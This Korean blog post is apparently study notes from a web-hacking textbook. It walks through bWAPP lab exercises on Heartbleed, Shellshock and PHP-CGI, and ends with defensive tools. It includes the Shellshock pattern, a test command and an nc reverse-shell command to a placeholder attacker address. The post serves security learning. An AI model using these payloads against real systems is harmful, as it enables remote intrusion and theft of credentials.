ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • 모의해킹의 열한 번째 알려진 취약점을 이용한 공격
    웹 해킹 2021. 3. 23. 14:12

    최근 개발 환경 추세에서는 오픈소스 라이브러리를 사용하는데, 오픈소스에서 발생하는 대부분의 취약점은 CVE 데이터베이스를 통해 공개된다. 공격자는 CVE 데이터베이스를 통해 알려진 취약점에 대한 정보를 쉽게 찾고 공격에 사용한다.

    원래 취약점이 공개되면 CVE-[발견연도]-[일련번호]와 같은 CVE ID가 지정되어 관리된다. 

     

    하트블리드 취약점 공격 실습

    하트블리드 취약점을 이용하면 공격자가 웹 서버 호스트의 메모리를 읽을 수 있게되어 사용자의 로그인 정보 및 그 밖에 노출되면 안되는 민감한 정보들을 탈취할 수 있다.

    하트블리드 실습 페이지

     

    위 그림의 8443포트는 HTTPS 프로토콜로 접속해야 하는 포트이다.

    attack script 클릭하고 다운로드 받은 화면

     

    실습용 가상 머신의 8443번 포트로 접속한 화면

     

    위 그림에서 Confirm Security Exception 버튼을 눌러 예외처리를 한다.

    그리고 다시 bWAPP에 접속한다.

    8443번 포트로 bWAPP 접속한 화면

     

    터미널 파일을 heart.txt.에 저장하는 화면

     

    heart.txt에 로그인정보가 저장된 것을 볼 수 있다.

     

    쉘쇼크 취약점 공격과 리버스 쉘 실습

    쉘쇼크는 bash 쉘의 취약점이다. 쉘쇼크는 시스템 환경변수에 특정 패턴의 문자열과 함께 임의의 명령어가 저장되어 있으면 쉘이 실행될 때 해당 명령어가 실행되는 취약점이다. 

    [예), () { :; }; <command> ]

     

    env x='() {:;}; echo vulnerable' bash -c 'echo this is test'

    위 명령어는 쉘쇼크 취약점이 공개될 때 취약 여부 테스트 명령어이다.

    이 명령어는  x 환경변수에 쉘쇼크 공격 패턴과 명령어를 지정한 뒤 bash 쉘을 실행하여 지정한 명령어가 실행되는지 확인한다.

    쉘쇼크에 취약한 경우 echo 명령어가 실행되어 DANGER가 출력된다.

     

    쉘쇼크에 취약하지 않은 경우 DANGER가 출력되지 않는다.

     

     

    쉘쇼크 공격 실습을 해보겠다.

    쉘쇼크 실습 페이지

     

    위 그림에서 마지막 두 줄은 쉘 스크립트의 실행 결과로 출력된 것을 알 수 있다.

    iframe 태그로 shellshock.sh를 요청하는 화면

     

    프록시 히스토리에서 shellshck.sh 요청을 확인하는 화면

     

    shellshck.sh가 요청되면 bash에 의해 쉘 스크립트가 실행된다. shellshock.sh를 요청하는 요청 헤더에다가 쉘쇼크 공격 코드를 삽입하여 전송하면 원하는 명령을 실행할 수 있게된다. 

    리피터 헤더를 이용하여 공격코드를 입력한 후 shellshck.sh를 요청해 보겠다.

     

    쉘쇼크 공격은 명령어 실행이 가능한 공격이다. 쉘을 획득하는 방법은 바인드 쉘과 리버스 쉘이 있는데 접속 방향에 따라 구분한다.

     

    바인드 쉘은 공격자가 서버 쪽에 리스닝 포트를 열어 접속을 기다리도록 만든 후, 공격자가 클라이언트에서 서버로 접속하여 쉘을 획득하는 공격이다.

     

    리버스 쉘은 공격 대상 쪽에서 공격자의 호스트로 접속하도록 만들어 리버스, 즉 역방향으로 쉘을 생성하는 공격 기법이다.(방화벽 우회 용도로 사용)

     

    리버스 쉘을 생성시키기 위해 네트워크 통신을 위한 프로그램인 nc 명령어를 사용할 것이다.

    nc <공격자 호스트 IP 주소> <포트번호> -e /bin/bash

    이 명령어를 실행시켜, nc 명령어 뒤에 지정된 ip 주소와 포트로 접속하게 되는데, -e 옵션은 접속이 이루어진 후 실행할 명령어를 지정하는 옵션이다. 위 명령어 같은 경우에는 bash 쉘이 생성된다.

     

    실습 과정을 설명하면,

    1.    칼리 리눅스에서 nc를 서버 모드로 실행한다.

    2.    요청 메세지의 레퍼러 헤더에 쉘쇼크 공격 패턴을 삽입 후, nc를 클라이언트 모드로 실행하여 칼리 리눅스에 접속한다.

    3.    접속으로 생성된 쉘을 통해 포스트 익스플로잇을 수행한다.

     

    shellshock.sh의 레퍼러 헤더에 공격코드 삽입 화면

     

    () { :;}; 쉘쇼크 공격 패턴 뒤에 nc를 이용하여 4000번 포트로 접속하도록 한다. shellshock.sh이 실행될 때 PATH 환경 변수 설정이 되어 있지 않아서 전체 경로를 입력하려고 /bin/nc를 입력했다.

     

    쉘쇼크 공격으로 리버스 쉘 침투 성공

     

     

    메타스플로잇을 활용한 PHP-CGI 취약점 공격

     

    소스코드 노출

    PHP-CGI 취약점으로 소스코드가 노출된 화면

     

     

    메타스플로잇을 이용한 공격

    메타스플로잇 실행 후, php_cgi 공격 모듈 검색 화면

     

     

    알려진 취약점 공격 대응

    OWASP Dependency-Check, IoTcube를 이용하여 대응한다.


    위 글은 화이트 해커를 위한 웹 해킹의 기술을 참고했습니다.

    댓글

Designed by Tistory.